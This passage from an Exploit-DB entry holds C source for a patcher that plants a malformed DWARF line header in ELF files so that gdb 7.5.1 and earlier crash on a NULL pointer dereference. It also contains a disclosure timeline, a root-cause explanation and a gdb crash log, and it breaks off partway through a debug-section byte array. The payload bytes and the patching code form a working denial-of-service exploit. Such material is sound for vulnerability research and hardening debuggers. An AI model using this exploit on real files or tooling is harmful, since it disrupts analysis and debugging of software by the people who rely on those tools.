Exploit-DB #23523
Description: gdb (GNU debugger) 7.5.1 - Null Pointer Dereference
Type: dos
Platform: linux
Date: 2012-12-20
Author: nitr0us

Exploit:
/*
*
* gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference)
* ELF anti-debugging/reversing patcher
*
* Published @ IOActive Labs Research blog:
* http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
*
* - nitr0us [ http://twitter.com/nitr0usmx ]
*
* Tested under:
* GNU gdb 7.5.1       (OpenBSD 5.2 i386    [Compiled from sources])
* GNU gdb 7.5         (OpenBSD 5.2 i386    [Compiled from sources])
* GNU gdb 7.5         (Ubuntu Server 12.04 [Compiled from sources])
* GNU gdb 7.4.1       (OpenBSD 5.2 i386)
* GNU gdb 7.4-2012.04 (Ubuntu Server 12.04)
* GNU gdb 7.2-50.el6  (CentOS Linux)
* GNU gdb 6.7.1       (Gentoo Linux)
*
* Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development)
*
* Timeline:
* 12/11/2012    The bug was found on GNU gdb 7.5
* 19/11/2012    The bug was reported through the official GNU gdb.s bug tracker:
                http://sourceware.org/bugzilla/show_bug.cgi?id=14855
* 10/12/2012    Retested with the latest release (7.5.1), which still has the bug
* 12/12/2012    The status on the tracker is still "NEW"
*
**************** TECHNICAL DETAILS ***********************
In gdb-7.5.1/gdb/dwarf2read.c is the following data structure:
struct line_header
{
...
  unsigned int num_include_dirs, include_dirs_size;
  char **include_dirs;
...
  struct file_entry
  {
    char *name;
    unsigned int dir_index;
    unsigned int mod_time;
    unsigned int length;
...
  } *file_names;
}

The problem exists when trying to open a malformed ELF that contains a
file_entry.dir_index > 0 and char **include_dirs pointing to NULL.

After patching an ELF file with this code, the following happens:

(gdb) r -q ./evil_exploit

Program received signal SIGSEGV, Segmentation fault.
0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0,
pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969
13970       dir_name = lh->include_dirs[fe.dir_index - 1];
(gdb) p/x fe
$1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0,
included_p = 0x1, symtab = 0x0}
(gdb) p lh->include_dirs
$2 = (char **) 0x0
(gdb) x/i $eip
=> 0x81e87bd <psymtab_include_file_name+111>:   mov    (%eax),%eax
(gdb) i r $eax
eax            0x38     56

The root cause of the problem is that there's no validation to 
verify if include_dirs is different from NULL before referencing it.

**********************************************************
*
* [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall
*
* Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
*         Carlos Ayala, Daemon, LightOS) chr1x, alt3kx, tr3w, crypkey,
*         el_chito, nahual, beck, sirdarkcat, NataS, ran, Fede Bossi, 
*         nediam, psymera, Rolman, Kbrown, Bucio, p4dm3, Hector Lopez, zeus, 
*         Matias Brutti, sunl3vy, Raaka_elgaupo, vendetta, raito, beavis,
*         el5patas, vi0let.
*
*
* http://chatsubo-labs.blogspot.com
* http://www.brainoverflow.org
*
*/

#include <sys/mman.h>
#include <sys/stat.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

#if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__)
#include <sys/exec_elf.h>
#else
#include <elf.h>
#endif

/*
* The next payload is based on the 'struct line_header'
* defined in gdb-7.5.1/gdb/dwarf2read.c
*
* The fields are put in little-endian (LSB)
*/
const char dwarf_line_header[] = {
	0x32, 0x00, 0x00, 0x00,             // unsigned int total_length;
	0x02, 0x00,                         // unsigned short version;
	0x1c, 0x00, 0x00, 0x00,             // unsigned int header_length;
	0x01,                               // unsigned char minimum_instruction_length;
	0x01,                               // unsigned char maximum_ops_per_instruction;
	0xfb,                               // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O?
	0x0e,                               // unsigned char line_range;
	0x0d,                               // unsigned char opcode_base;
	'N' , '1' , '7' , 'R' , '0' ,       // Useless to trigger the bug
	0xDE, 0xAD, 0xBA, 0xBE,             // Useless to trigger the bug
	0x31, 0x33, 0x70,                   // Useless to trigger the bug
	0x00,                               // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000
	'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name
	0x31,                               // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV !
	0x33,                               // file_entry->mod_time;
	0x70,                               // file_entry->length;
	0x00, 0x00, 0x05, 0x02,             // Couldn't detect where exactly are loaded in memory at runtime
	0xd4, 0x83, 0x04, 0x08,             // . . .
	0x15, 0x91, 0xbc, 0x59,             // . . .
	0x02, 0x02, 0x00, 0x01,             // . . .
	0x01,                               // Couldn't detect where exactly are loaded in memory at runtime
};

/*
* The next ELF sections are necessary to crash gdb.
* They were taken from a normal ELF file compiled with -ggdb
* $objdump -s -j .debug_xxx ./a.out
*/
char debug_info[] = {
	0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04,
	0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47,
	0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00,
	0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03,
	0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07,
	0x24, 0x00, 0x00, 0x00, 0